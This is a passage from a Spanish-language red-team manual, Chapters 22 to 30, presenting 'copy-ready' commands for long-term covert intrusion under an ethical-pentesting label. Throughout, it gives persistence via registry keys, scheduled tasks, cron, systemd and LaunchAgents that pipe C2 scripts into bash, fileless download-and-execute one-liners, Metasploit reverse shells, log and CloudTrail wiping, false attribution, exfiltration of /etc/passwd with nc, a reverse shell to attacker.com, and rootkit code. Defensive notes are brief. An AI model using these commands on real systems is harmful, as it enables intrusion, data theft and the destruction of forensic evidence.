az storage blob download --account-name datos --container-name privado --name doc.docx --file doc.docx
```

## 9. Fase 8 — Exfiltración combinada

- **On-Premise:** DNS tunneling con [iodine](#).
- **AWS:** Transferencia a bucket controlado.
- **Azure:** Descarga vía blob público temporal.

## 10. Fase 9 — Limpieza de huellas

- Borrar logs de eventos:

```
wevtutil cl Security
```

- Eliminar usuarios persistentes sospechosos del AD (para que parezca limpieza interna normal).

## 11. Fase 10 — Persistencia final

- **Implantes en Lambda** para autoejecutar reverse shells.
- **Backdoor en GPOs** para reactivar acceso en AD.
- **Service Principal oculto en Azure** con permisos altos.

## 12. Defensa y mitigación

- Implementar **MFA en todas las cuentas**.
- Segmentar redes on-premise y cloud.
- Auditorías continuas con [CloudTrail](#) y [Azure Monitor](#).
- Detección de anomalías en AD con [ATA](#) o similares.

Perfecto, vamos con un **Capítulo 22 — Operaciones Clandestinas Post-Explotación: Mantener el control durante meses sin ser detectado**, con el mismo nivel de detalle exagerado y comandos listos para copiar, como si estuviéramos documentando el manual interno de un equipo Red Team avanzado.

# Capítulo 22 — Operaciones clandestinas post-exploitación: infiltración prolongada y persistencia invisible

**Objetivo:** Enseñar técnicas avanzadas para que un pentester ético pueda mantener presencia en un sistema comprometido durante semanas o meses, minimizando el riesgo de detección, emulando a un APT (Advanced Persistent Threat) real.

## 1. Fundamentos de la infiltración prolongada

Después de comprometer un objetivo, el mayor reto no es la entrada, sino **seguir adentro sin ser descubierto**. Las operaciones post-exploitación prolongadas requieren:

- **Bajo perfil:** tráfico y acciones que parezcan legítimas.
- **Distribución de persistencia:** múltiples métodos, en distintos sistemas.
- **Mando y control flexible:** canales alternativos (DNS, HTTPS, cloud).
- **Capacidad de reinfección:** puntos de acceso ocultos listos para activarse.

## 2. Establecer múltiples puntos de acceso

**Nunca depender de un solo backdoor.** Métodos recomendados:

### 2.1. Persistencia en Windows

**Clave de registro Run:**

```
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v updater /t REG_SZ /d "C:\Windows\updater.exe" /f
```

**Tareas programadas ocultas:**

```
schtasks /create /sc minute /mo 30 /tn "Updater" /tr "C:\Windows\updater.exe" /ru SYSTEM
```

### 2.2. Persistencia en Linux

**Cron job:**

```
echo */30 * * * * /usr/local/bin/.update.sh" >> /var/spool/cron/root
```

**systemd service encubierto:**

```
cat <<EOF > /etc/systemd/system/updatesync.service
[Unit]
Description=System Update Sync
[Service]
ExecStart=/usr/local/bin/update-agent
EOF
systemctl enable updatesync
```

---

### 3. Encubrir el C2 (Command & Control)

#### 3.1. C2 sobre HTTPS legítimo

Usar dominios que imiten servicios comunes:

```
domain: microsoft-securelogin.com
```

Y traficar sobre puerto 443 con certificado válido.

#### 3.2. C2 en servicios cloud

Ejemplo con AWS S3 para exfiltrar y recibir comandos:

```
aws s3 cp commands.txt s3://control-bucket/
aws s3 cp results.txt s3://control-bucket/
```

#### 3.3. C2 por DNS

Configurar **iodine**:

```
iodined -f -c -P clave 10.0.0.1 tun.dominio.com
```

---

## 4. Movimiento lateral sigiloso

- **Windows WMI:**

```
wmic /node:"192.168.1.50" process call create "cmd.exe /c calc.exe"
```

- **WinRM con PowerShell remoting:**

```
Enter-PSSession -ComputerName servidor -Credential usuario
```

- **SMB con credenciales robadas:**

```
smbclient //servidor/compartido -U usuario
```

## 5. Exfiltración lenta (“Low and Slow”)

### 5.1. Esteganografía en imágenes

```
steghide embed -cf imagen.jpg -ef datos.zip
```

### 5.2. Uso de Google Drive API

Subir datos cifrados:

```
gdrive upload datos.enc
```

### 5.3. Fragmentación + envío por intervalos

Enviar datos en bloques pequeños en horarios aleatorios para evitar alertas.

## 6. Limpieza continua de huellas

- Rotar hashes y permisos en cuentas comprometidas.
- Borrar logs críticos:

```
wEvtutil cl Security  
wEvtutil cl PowerShell
```

- Modificar timestamps de archivos alterados:

```
touch -t 202301011200 archivo.txt
```

## 7. Ejemplo de infiltración de 90 días

1. **Día 1-3:** Compromiso inicial y establecimiento de persistencia triple.

2. **Día 4-30:** Movimiento lateral controlado y exfiltración mínima.
  3. **Día 31-60:** Uso de C2 en AWS para comandos y datos.
  4. **Día 61-90:** Reforzar puntos de acceso y preparar salida limpia.
- 

## 8. Checklist de infiltración prolongada

- Persistencia redundante en sistemas clave.
  - C2 encubierto en servicios legítimos.
  - Movimiento lateral sin ruidos (sin escaneos masivos).
  - Exfiltración disimulada y cifrada.
  - Limpieza periódica de logs y huellas.
- 

En el **Capítulo 23** vamos a entrar en **Técnicas de Evasión Anti-Forense**, donde cubriremos cómo manipular, falsificar o destruir evidencia digital para retrasar o impedir un análisis forense del incidente.

---

# Capítulo 23 — Anti-Forensics Total: engañar, falsificar y borrar huellas como un APT

---

**Objetivo:** Documentar, con comandos listos para copiar, las técnicas anti-forenses usadas por grupos avanzados (APT) para manipular, falsificar o eliminar evidencia digital en Windows, Linux y entornos cloud.

## 1. Principios del anti-forensics

- **Retrasar al analista:** si no pueden reconstruir la línea temporal, se gana tiempo.
  - **Generar falsos positivos:** ruido para confundir.
  - **Destruir evidencia clave:** eliminar artefactos críticos sin romper el sistema.
  - **Alterar la narrativa:** hacer parecer que otro actor fue el responsable.
- 

## 2. Manipulación de timestamps (Timestamping)

### 2.1. Windows

```
# Usando Metasploit
timestomp.exe C:\Windows\system32\cmd.exe -f C:\Windows\notepad.exe
```

Esto copia las fechas de **notepad.exe** a **cmd.exe**.

### 2.2. Linux

```
touch -r /bin/ls /tmp/script.sh
```

**Objetivo:** Que los archivos maliciosos parezcan antiguos y legítimos.

## 3. Alteración de logs

### 3.1. Windows Event Logs

```
wEvtutil cl Security  
wEvtutil cl PowerShell
```

### 3.2. Linux Syslog

```
cat /dev/null > /var/log/auth.log
```

### 3.3. Manipulación selectiva

Usar **powershell** para eliminar solo entradas específicas:

```
Get-WinEvent -LogName Security | Where-Object {$_.Id -eq 4624} | Remove-EventLog
```

## 4. Falsificación de artefactos

- **Crear cuentas señuelo** con nombres que imiten usuarios legítimos:

```
net user juan.perez$ Pass123 /add /domain
```

- **Generar conexiones falsas:**

```
curl http://randomsite.com --interface eth1
```

- **Insertar malware viejo** de grupos conocidos para desviar la atribución.

## 5. Eliminación segura de datos

### 5.1. Windows

```
cipher /w:C:\
```

## 5.2. Linux

```
shred -u -z archivo.txt
```

## 5.3. Borrado en discos completos

```
dd if=/dev/zero of=/dev/sda bs=1M status=progress
```

(Solo en entornos de laboratorio, esto destruye todo el disco)

---

## 6. Encubrimiento en memoria (RAM)

- Uso de **malware fileless** en PowerShell:

```
powershell -nop -w hidden -c "IEX(New-Object  
Net.WebClient).DownloadString('http://C2/payload')"
```

- Mantener implantes solo en RAM usando **Metasploit** con **load kiwi** sin escribir en disco.
- 

## 7. Anti-forensics en la nube

### 7.1. AWS

- Borrar eventos en CloudTrail:

```
aws cloudtrail delete-trail --name trailname
```

- Deshabilitar logging temporalmente:

```
aws cloudtrail stop-logging --name trailname
```

### 7.2. Azure

- Eliminar Activity Logs antiguos.
  - Modificar permisos para que el auditor no pueda ver ciertos recursos.
- 

## 8. Técnicas avanzadas de confusión

- **Inyección de logs falsos** para saturar sistemas SIEM.
- **DNS noise**: generar miles de peticiones hacia dominios señuelo.
- **MAC spoofing** para cambiar la identidad de red:

```
ifconfig eth0 hw ether 00:11:22:33:44:55
```

## 9. Limitaciones y detección

Los analistas forenses entrenados pueden detectar:

- Incongruencias en la **MFT (Master File Table)**.
- Sectores de disco borrados pero no sobreescritos.
- Logs con huecos temporales.

Por eso, un pentester debe **documentar y revertir** cualquier acción de este tipo en un entorno real de prueba.

En el **Capítulo 24** vamos a entrar en **Operaciones de Doble Capa**, donde veremos cómo un atacante puede mantener dos infraestructuras de control paralelas: una “visible” que sirve de señuelo y otra “real” oculta y más difícil de descubrir.

# Capítulo 24 — Operaciones de Doble Capa: C2 paralelos y señuelos

**Objetivo:** Dominar las técnicas de creación, gestión y encubrimiento de infraestructuras de mando y control falsas y reales simultáneamente, tal como lo hacen APTs para confundir a equipos de respuesta a incidentes.

## 1. Concepto de doble capa

Un atacante profesional sabe que **cuando el Blue Team descubre un C2, su primera reacción es neutralizarlo**. Si se le entrega una **falsa infraestructura** con tráfico controlado, el defensor gastará tiempo y recursos, mientras la infraestructura **real** sigue activa.

### Capa visible (Señuelo):

- Fácil de detectar.
- Comandos inocuos o triviales.
- Puede ser cortada sin afectar la operación real.

### Capa oculta (Real):

- Altamente encubierta.
- Comandos críticos y exfiltración real.

- Usa canales más difíciles de monitorear.
- 

## 2. Infraestructura de señuelo

### 2.1. C2 básico con Metasploit

```
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.0.0.50
set LPORT 4444
exploit
```

Este será el C2 que el Blue Team detectará primero.

### 2.2. Tráfico simulando actividad

```
# Enviar comandos inútiles para que parezca real
1..50 | % { Get-Date; Start-Sleep -Seconds 2 }
```

---

## 3. C2 real encubierto

### 3.1. Sobre HTTPS con dominio legítimo

```
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set LHOST secure-login.microsoft.com
set LPORT 443
exploit
```

### 3.2. C2 en canal DNS

```
iodined -f -c -P clave 10.0.0.1 tun.dominio.com
```

### 3.3. Uso de servicios cloud como proxy

- Google Drive API.
  - Dropbox API.
  - S3 buckets privados.
-

## 4. Sincronización entre capas

El operador debe poder **cambiar de una capa a otra** sin perder control.

Ejemplo con *beacons* alternados:

```
# Señuelo cada 60 seg
while ($true) { Invoke-WebRequest http://C2-falso/ping; Start-Sleep 60 }

# Real cada 600 seg
while ($true) { Invoke-WebRequest https://C2-real/ping; Start-Sleep 600 }
```

---

## 5. Ventajas y riesgos

### Ventajas:

- Desgasta al equipo defensor.
- Gana tiempo para extraer datos.
- Reduce riesgo de exposición del C2 real.

### Riesgos:

- Si descubren la capa real, la operación cae por completo.
- Requiere más recursos y coordinación.

---

## 6. Ejemplo de operación doble capa

1. **Día 1-5:** Compromiso y despliegue de C2 falso + real.
2. **Día 6-20:** Blue Team detecta y persigue el C2 falso.
3. **Día 21-40:** Operación real continúa por HTTPS cifrado y DNS.
4. **Día 41-60:** Cierre de operación, limpieza y salida limpia.

---

## 7. Checklist de operación doble capa

- C2 falso configurado con actividad creíble.
- C2 real encubierto en canales cifrados.
- Procedimiento claro para cambio rápido entre capas.
- Logs y tráfico falsos en capa visible.
- Plan de cierre limpio.

---

En el **Capítulo 25** vamos a entrar en **Técnicas de “Living off the Land”** para usar únicamente herramientas nativas del sistema objetivo y así minimizar la posibilidad de detección, una de las tácticas favoritas de los grupos más avanzados.

# Capítulo 25 — Living off the Land (LOTL) en pentesting

**Objetivo:** Aprender a realizar reconocimiento, movimiento lateral, ejecución de código y exfiltración usando únicamente herramientas y funciones que ya existen en el sistema objetivo.

## 1. Fundamentos de LOTL

- **Definición:** Uso de binarios legítimos del sistema para ejecutar acciones maliciosas.
- **Ventaja:** Menor probabilidad de detección por antivirus o EDR, ya que las herramientas son legítimas.
- **Ejemplo clásico:** usar `PowerShell` o `wmic` para ejecutar payloads sin malware adicional.

## 2. LOTL en Windows

### 2.1. Ejecución de comandos remotos con `wmic`

```
wmic /node:"192.168.1.50" process call create "cmd.exe /c calc.exe"
```

### 2.2. Descarga y ejecución con `certutil`

```
certutil -urlcache -split -f http://servidor/payload.exe payload.exe
```

### 2.3. Exfiltración de datos con `bitsadmin`

```
bitsadmin /transfer job /download /priority high http://C2/datos.zip  
C:\Users\Public\datos.zip
```

### 2.4. Uso de `mshta` para ejecutar código remoto

```
mshta http://C2/payload.hta
```

### 2.5. PowerShell fileless payload

```
powershell -nop -w hidden -c "IEX(New-Object  
Net.WebClient).DownloadString('http://C2/script.ps1')"
```

## 3. LOTL en Linux

### 3.1. Transferencia de archivos con `curl` o `wget`

```
curl -o datos.txt http://C2/datos.txt  
wget http://C2/datos.txt
```

### 3.2. Creación de túneles con `ssh`

```
ssh -R 8080:localhost:80 user@C2
```

### 3.3. Escaneo de red con `bash` puro

```
for ip in 192.168.1.{1..254}; do (ping -c1 $ip &>/dev/null && echo "$ip up") &  
done
```

### 3.4. Compresión y exfiltración con `tar` y `nc`

```
tar czf - /etc/passwd | nc C2 9001
```

---

## 4. LOTL en macOS

### 4.1. Uso de `osascript` para ejecutar AppleScript

```
osascript -e 'display dialog "Hola desde C2"'
```

### 4.2. Automatización de tareas con `launchctl`

```
launchctl load /Library/LaunchDaemons/com.apple.update.plist
```

### 4.3. Captura de pantalla nativa

```
screencapture /tmp/screen.jpg
```

## 5. Movimiento lateral con herramientas nativas

- **Windows:**

```
psexec \\192.168.1.60 cmd
```

(Disponible en *Sysinternals*, muchas veces ya instalado en entornos corporativos)

- **Linux/macOS:**

```
ssh usuario@equipo "comando"
```

---

## 6. Exfiltración de datos sin herramientas externas

- **DNS tunneling con nslookup:**

```
nslookup datosCifrados.C2.com
```

- **Correo electrónico desde CLI:**

```
sendmail usuario@C2.com < datos.txt
```

---

## 7. Recomendaciones de uso en pentesting

- Documentar **cada comando** para que el cliente entienda el riesgo.
- No dejar persistencia activa sin autorización.
- Usar LOTL como técnica para **evaluar la resiliencia** de un sistema, no para dañarlo.

---

## 8. Checklist LOTL por plataforma

Plataforma	Herramientas clave
<b>Windows</b>	certutil, bitsadmin, mshta, wmic, PowerShell
<b>Linux</b>	curl, wget, ssh, tar, nc
<b>macOS</b>	osascript, screencapture, launchctl

En el **Capítulo 26** vamos a ir a lo más sigiloso todavía: **Fileless Malware y ataques en memoria**, donde veremos cómo un pentester avanzado puede simular amenazas que **nunca escriben archivos en disco**, dejando al analista forense con casi nada para analizar.

# Capítulo 26 — Fileless Malware y ataques en memoria

**Objetivo:** Comprender y aplicar técnicas para ejecutar payloads directamente en memoria, evitando detección por antivirus tradicionales y dejando huellas mínimas para análisis forense. **Todo el contenido es con fines educativos y para entornos controlados.**

## 1. Conceptos clave

- **Fileless Malware:** Carga y ejecuta código directamente en memoria RAM.
- **Ventajas para el atacante:**
  - No deja binarios en disco.
  - Difícil de detectar por antivirus basados en firmas.
  - Aprovecha procesos legítimos.
- **Uso ético:** Simular ataques avanzados (APT) para medir la capacidad de detección y respuesta.

## 2. Ejecución en memoria en Windows

### 2.1. PowerShell: descarga y ejecución sin guardar en disco

```
powershell -nop -w hidden -c "IEX(New-Object  
Net.WebClient).DownloadString('http://C2/script.ps1')"
```

### 2.2. Uso de `Invoke-Expression` para cargar shellcode

```
$code = (New-Object Net.WebClient).DownloadString('http://C2/payload.ps1')  
Invoke-Expression $code
```

### 2.3. Inyección en proceso legítimo con `Invoke-ReflectivePEInjection`

```
IEX (New-Object Net.WebClient).DownloadString('http://C2/Invoke-  
ReflectivePEInjection.ps1')  
Invoke-ReflectivePEInjection -PEUrl http://C2/meterpreter.exe -ProcAddress (Get-Process  
notepad).Id
```

## 3. Ejecución en memoria en Linux

### 3.1. Bash + curl + ejecución directa

```
bash -c "$(curl -fsSL http://C2/script.sh)"
```

### 3.2. Cargar binarios en /dev/shm (RAM)

```
curl -o /dev/shm/payload http://C2/payload  
chmod +x /dev/shm/payload  
/dev/shm/payload
```

### 3.3. Inyección con Python en Linux

```
python3 -c 'import urllib.request;  
exec(urllib.request.urlopen("http://C2/script.py").read())'
```

---

## 4. Ejecución en memoria en macOS

### 4.1. Descarga y ejecución con curl y osascript

```
osascript -e "$(curl -fsSL http://C2/script.applescript)"
```

### 4.2. Uso de python o ruby preinstalados

```
ruby -e "$(curl -fsSL http://C2/script.rb)"
```

---

## 5. Fileless con Metasploit

### 5.1. Payload sin escribir en disco (Windows)

```
msfconsole  
use exploit/windows/misc/hta_server  
set payload windows/meterpreter/reverse_https  
set LHOST 192.168.1.10  
set LPORT 443  
exploit
```

El objetivo abrirá un .hta que cargará el payload directamente en memoria.

## 6. Persistencia fileless

Aunque el malware fileless desaparece al reiniciar, un atacante puede:

- Usar *WMI Event Subscriptions* en Windows:

```
$Filter = Set-WmiInstance -Class __EventFilter -Namespace "root\subscription" -  
Arguments @{  
    Name="Win32TimeChangeEvent"  
    EventNamespace="root\cimv2"  
    QueryLanguage="WQL"  
    Query="SELECT * FROM Win32_TimeChangeEvent"  
}
```

- Abusar de *cron* en Linux para reinyectar el código en memoria.

## 7. Ejemplo de ataque controlado

### Escenario de laboratorio:

1. El pentester levanta un listener Metasploit con payload HTTPS.
2. Envía al objetivo un script PowerShell fileless.
3. El payload se ejecuta en memoria, abre sesión Meterpreter.
4. El objetivo no encuentra archivos maliciosos en disco.

## 8. Detección y defensa

- **Windows Defender AMSI:** Escanea scripts en memoria.
- **EDR avanzado:** Detecta inyección de procesos y actividad anómala.
- **Regla de oro:** Monitorizar PowerShell, WMI y scripting inusual.

En el **Capítulo 27** vamos a cubrir **Ataques de persistencia avanzada**, donde veremos cómo un atacante APT combina técnicas de bajo nivel, BIOS/UEFI y malware que sobrevive reinstalaciones del sistema operativo.

# Capítulo 27 — Persistencia avanzada y técnicas casi imposibles de erradicar

**Objetivo:** Aprender y simular métodos de persistencia de nivel alto y bajo, desde simples claves de registro hasta modificaciones en firmware, siempre en un contexto ético.

## 1. Conceptos clave de persistencia

- **Persistencia:** capacidad de mantener acceso al sistema comprometido a largo plazo.
- **APT:** suele combinar múltiples capas de persistencia (SO, firmware, red).
- **Clasificación general:**
  1. **Alta visibilidad** → fácil de detectar (scripts en **Startup**, cron jobs simples).
  2. **Baja visibilidad** → difícil de detectar (WMI, tareas programadas cifradas, DLL hijacking).
  3. **Nivel bajo** → extremadamente difícil de erradicar (firmware, BIOS, UEFI).

---

## 2. Persistencia en Windows

### 2.1. Claves de registro para ejecución en inicio

```
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Backdoor /t REG_SZ  
/d "C:\Users\Public\payload.exe"
```

### 2.2. Tareas programadas ocultas

```
schtasks /create /sc minute /mo 30 /tn "Update Service" /tr "powershell -nop -w  
hidden -c IEX(New-Object Net.WebClient).DownloadString('http://C2/script.ps1')"
```

### 2.3. WMI Event Subscription

```
$Filter = Set-WmiInstance -Class __EventFilter -Namespace "root\subscription" -  
Arguments @{  
    Name="Win32TimeChangeEvent"  
    EventNamespace="root\cimv2"  
    QueryLanguage="WQL"  
    Query="SELECT * FROM Win32_TimeChangeEvent"  
}
```

### 2.4. DLL Hijacking

Colocar una DLL maliciosa con el mismo nombre que una legítima en un directorio buscado primero por el sistema.

---

## 3. Persistencia en Linux

### 3.1. Cron Jobs sigilosos

```
(crontab -l; echo "@reboot /bin/bash -c 'curl http://C2/script.sh | bash'" ) |  
crontab -
```

### 3.2. systemd Services

```
echo "[Unit]
Description=Update Service
[Service]
ExecStart=/bin/bash -c 'curl http://C2/script.sh | bash'
[Install]
WantedBy=multi-user.target" > /etc/systemd/system/update.service

systemctl enable update.service
```

### 3.3. LD\_PRELOAD Hijacking

Variable de entorno que carga una librería maliciosa antes que las legítimas.

---

## 4. Persistencia en macOS

### 4.1. Launch Agents

```
mkdir -p ~/Library/LaunchAgents
echo '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>Label</key><string>com.update.agent</string>
    <key>ProgramArguments</key><array><string>/bin/bash</string><string>-
c</string><string>curl http://C2/script.sh | bash</string></array>
    <key>RunAtLoad</key><true/>
</dict>
</plist>' > ~/Library/LaunchAgents/com.update.agent.plist
launchctl load ~/Library/LaunchAgents/com.update.agent.plist
```

### 4.2. Abuso de AppleScript en arranque

```
osascript -e 'tell application "System Events" to make login item at end with
properties {path:"/path/to/script", hidden:true}'
```

---

## 5. Persistencia en red

- **Router hijacking:** cambiar la configuración DNS en el router para redirigir tráfico.
- **Implantes en switch o firewall:** modificar firmware para ejecutar comandos al inicio.

## 6. Persistencia de nivel bajo (Firmware/UEFI)

### ⚠️ Peligroso incluso en laboratorio.

- Modificación de firmware UEFI para ejecutar código antes del SO.
  - Ejemplo de framework: **CHIPSEC** para analizar vulnerabilidades de firmware.
  - Ataques famosos: **LoJax**, que sobrevivía a reinstalaciones de Windows.
- 

## 7. Ejemplo de persistencia combinada (escenario APT)

1. **Nivel OS:** Tarea programada PowerShell que contacta con C2.
  2. **Nivel usuario:** Agente en **Startup** cifrado.
  3. **Nivel red:** DNS hijacking en router interno.
  4. **Nivel bajo:** Modificación de firmware de tarjeta de red para persistencia física.
- 

## 8. Defensa y detección

- Auditoría frecuente de tareas programadas, WMI y cron jobs.
  - Escaneo de firmware con herramientas de integridad.
  - Segmentación de red para reducir control de infraestructura comprometida.
  - Uso de EDR que monitoree creación de persistencia.
- 

En el **Capítulo 28** vamos a ir al siguiente nivel: **Rootkits y bootkits en pentesting**, simulando cómo operan amenazas que se cargan antes del propio sistema operativo y controlan cada instrucción ejecutada.

---

# Capítulo 28 — Rootkits y Bootkits en Pentesting

---

**Objetivo:** Comprender cómo funcionan los rootkits y bootkits, cómo simularlos en entornos controlados y cómo analizarlos, para mejorar la capacidad defensiva de un SOC y de analistas forenses.

---

## 1. Definiciones

- **Rootkit:** Conjunto de herramientas maliciosas diseñadas para ocultar procesos, archivos, conexiones y modificar el comportamiento del sistema operativo. Puede operar en:
    - **Modo usuario** (User-mode rootkit)
    - **Modo kernel** (Kernel-mode rootkit)
  - **Bootkit:** Tipo de rootkit que infecta el **proceso de arranque** (MBR, VBR o UEFI), ejecutándose antes del sistema operativo.
- 

## 2. Arquitectura y puntos de inyección

## 2.1. Rootkits de modo usuario

- Inyectan DLLs o librerías en procesos legítimos.
- Interceptan llamadas a funciones mediante **hooking**:
  - API Hooking (ej. `CreateFile`, `ReadFile`)
  - Inline Hooking
  - Import Address Table (IAT) Hooking

## 2.2. Rootkits de modo kernel

- Se cargan como **drivers maliciosos** (`.sys` en Windows, `.ko` en Linux).
- Modifican tablas del kernel:
  - SSDT (System Service Descriptor Table)
  - IDT (Interrupt Descriptor Table)
  - GDT (Global Descriptor Table)

## 2.3. Bootkits

- Modifican el **MBR** (Master Boot Record) para insertar código malicioso que carga antes del SO.
- Alteran el firmware UEFI.
- Ejemplo famoso: **LoJax**, persistente incluso tras formateo.

---

## 3. Simulación de Rootkits en laboratorio

### 3.1. Hooking de API en Windows con C

```
#include <windows.h>
#include <stdio.h>

typedef HANDLE (WINAPI *pCreateFileA)(
    LPCSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE
);

pCreateFileA originalCreateFileA;

HANDLE WINAPI hookedCreateFileA(
    LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode,
    LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition,
    DWORD dwFlagsAndAttributes, HANDLE hTemplateFile
) {
    if (strstr(lpFileName, "secret.txt")) {
        SetLastError(ERROR_FILE_NOT_FOUND);
        return INVALID_HANDLE_VALUE;
    }
    return originalCreateFileA(lpFileName, dwDesiredAccess, dwShareMode,
        lpSecurityAttributes, dwCreationDisposition, dwFlagsAndAttributes,
    );
}
```

```
hTemplateFile);
}
```

Este código intercepta el intento de abrir `secret.txt` y lo oculta del usuario.

### 3.2. Rootkit en Linux — ocultar procesos

```
// rootkit.c – Módulo de kernel para ocultar procesos con un PID específico
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/proc_fs.h>

static int pid_hidden = 1234;

int init_module(void) {
    printk(KERN_INFO "Rootkit cargado: ocultando PID %d\n", pid_hidden);
    // Aquí iría el hooking de funciones de /proc
    return 0;
}

void cleanup_module(void) {
    printk(KERN_INFO "Rootkit descargado\n");
}
```

## 4. Simulación de Bootkits en laboratorio

**⚠ Altamente delicado** — nunca ejecutar en hardware real.

### 4.1. Bootkit MBR con QEMU

1. Crear imagen de disco virtual:

```
qemu-img create -f raw bootkit.img 100M
```

2. Montar y modificar el primer sector (MBR) con código ASM que muestre un mensaje antes de arrancar el SO.

```
org 0x7C00
mov ah, 0x0E
mov si, msg
print:
lodsb
cmp al, 0
je done
```

```
int 0x10
jmp print
done:
jmp $

msg db "Bootkit cargado!",0
times 510-($-$) db 0
dw 0xAA55
```

---

## 5. Detección de Rootkits y Bootkits

- **Herramientas anti-rootkit:**
    - Windows: GMER, TDSSKiller
    - Linux: chkrootkit, rkhunter
  - **Análisis de memoria:**
    - Volatility Framework para buscar hooks en SSDT y procesos ocultos.
  - **Integridad de firmware:**
    - CHIPSEC para detectar modificaciones en BIOS/UEFI.
- 

## 6. Ejemplo de análisis forense con Volatility

```
volatility -f memoria.img --profile=Win7SP1x64 ssdt
volatility -f memoria.img --profile=Win7SP1x64 psxview
```

- **ssdt**: muestra tablas del sistema, útil para ver hooks sospechosos.
  - **psxview**: detecta procesos ocultos.
- 

## 7. Buenas prácticas defensivas

- Arranque seguro (Secure Boot) activado.
  - Firmado de controladores obligatorio.
  - Monitoreo de integridad de memoria en tiempo real.
  - Auditoría continua de firmware.
- 

En el **Capítulo 29** vamos a cubrir **Ataques a APIs y microservicios**, un terreno muy actual donde los pentesters buscan explotar fallos en entornos distribuidos y escalables.

---

# Capítulo 29 — Ataques a APIs y Microservicios en Pentesting

**Objetivo:** Dominar técnicas de descubrimiento, enumeración y explotación de APIs y microservicios, incluyendo fallos críticos como IDOR, inyección, autenticación débil y deserialización insegura.

## 1. Introducción al escenario

Las aplicaciones modernas suelen estar formadas por múltiples **microservicios** que exponen **APIs** para comunicarse. Esto trae ventajas (escalabilidad, modularidad), pero también riesgos:

- **Superficie de ataque más amplia**
- **Errores de autenticación entre servicios**
- **Endpoints olvidados o inseguros**

## 2. Tipos de APIs más comunes

Tipo	Ejemplo	Riesgos comunes
REST	/api/v1/users	IDOR, SQLi, auth rota
GraphQL	/graphql	Overfetching, query batching, DoS
gRPC	service.proto	Falta de cifrado, auth insegura

## 3. Enumeración y descubrimiento

### 3.1. Recolección pasiva

- Google Dorking:

```
site:target.com inurl:api  
site:target.com ext:wsdl
```

- Uso de **Wayback Machine** para endpoints antiguos.

### 3.2. Fuerza bruta de endpoints con **ffuf**

```
ffuf -u https://target.com/api/v1/FUZZ -w wordlist.txt -mc all
```

### 3.3. Enumerar métodos HTTP con Nmap

```
nmap -p443 --script http-methods --script-args http-methods.url-path='/api/v1/users' target.com
```

---

## 4. Fallos críticos en APIs

### 4.1. Insecure Direct Object Reference (IDOR)

Un endpoint permite acceder a recursos cambiando un identificador.

Ejemplo vulnerable:

```
GET /api/v1/users/123
```

Si cambiamos 123 por 124 y vemos datos ajenos, es un IDOR.

Exploit:

```
for id in $(seq 1 50); do
    curl -s https://target.com/api/v1/users/$id | jq .
done
```

---

### 4.2. Autenticación rota

- Tokens JWT sin firma (`alg: none`)
- Tokens con clave débil

Ejemplo de decodificación y modificación:

```
jwt_tool token.jwt -C -p 'secret'
```

---

### 4.3. Inyección en API

Si la API pasa datos sin validar a una base de datos:

```
POST /api/v1/search
Content-Type: application/json

{"query": "test OR '1'='1"}
```

Podemos probar SQLi usando **sqlmap**:

```
sqlmap -u https://target.com/api/v1/search --data '{"query":"*"}' --batch
```

## 5. Ataques específicos en GraphQL

### 5.1. Enumeración de esquema

```
python3 graphqlmap.py -u https://target.com/graphql
```

### 5.2. Overfetching

Solicitar más campos de los permitidos para exfiltrar datos sensibles.

## 6. Ataques en microservicios

### 6.1. API-to-API trust abuse

Un microservicio interno confía ciegamente en otro. Si conseguimos acceso a uno, podemos pivotar al resto.

### 6.2. SSRF interno

Un endpoint que recibe una URL podría permitirnos hacer peticiones internas:

```
POST /fetch
Content-Type: application/json

{"url":"http://internal-service:8080/admin"}
```

## 7. Deserialización insegura

Ejemplo en Java (JSON malicioso que ejecuta código):

```
{"@type": "java.lang.ProcessBuilder", "command": ["calc"]}
```

Pruebas con **ysoserial**:

```
java -jar ysoserial.jar CommonsCollections5 "nc attacker.com 4444 -e /bin/sh" |
base64
```

## 8. Escenario de laboratorio propuesto

1. **Montar DVWA API** o usar **VAmPI** como API vulnerable.
  2. **Descubrir endpoints** con **ffuf**.
  3. **Explotar IDOR** para extraer datos de otros usuarios.
  4. **Modificar JWT** para escalar privilegios.
  5. **Ejecutar SQLi** en un endpoint de búsqueda.
  6. **Pivatar** a un microservicio interno vía SSRF.
- 

## 9. Defensa

- Validación estricta de entradas.
  - Autenticación y autorización por recurso.
  - Filtrado de campos en GraphQL.
  - Monitoreo de tráfico API.
- 

En el **Capítulo 30** vamos a cubrir **Exfiltración de datos masiva y técnicas anti-detección**, llevando lo aprendido a escenarios donde el objetivo es robar información sin activar alarmas.

---

# Capítulo 30 — Exfiltración de Datos Masiva y Técnicas Avanzadas de Evasión

---

**Objetivo:** Aprender métodos y canales para extraer grandes volúmenes de datos de forma encubierta, entender cómo evitar sistemas de DLP (Data Loss Prevention) y cómo detectar este tipo de actividad.

---

## 1. Conceptos clave

- **Exfiltración de datos:** Transferencia no autorizada de datos desde un sistema a un destino externo.
  - **DLP:** Sistemas diseñados para prevenir la fuga de datos. Analizan patrones, volúmenes, tipos de archivos y protocolos.
- 

## 2. Tipos de exfiltración

Tipo	Ejemplo	Riesgo
HTTP/S	Datos enviados vía POST a servidor atacante	Fácil de disfrazar como tráfico web legítimo
DNS tunneling	Codificar datos en consultas DNS	Difícil de detectar si hay mucho tráfico DNS
ICMP tunneling	Datos ocultos en paquetes ping	Bajo throughput, pero sigiloso

Tipo	Ejemplo	Riesgo
Email	Adjuntos cifrados	Riesgo alto si no hay inspección de salida
Cloud storage	Dropbox, Google Drive	Difícil de distinguir de uso legítimo

### 3. Exfiltración encubierta

#### 3.1. HTTP POST fragmentado

Enviar datos en pequeñas piezas para no generar picos:

```
split -b 100k datos.txt partes/
for f in partes/*; do
    curl -X POST -F "file=@$f" https://attacker.com/upload
done
```

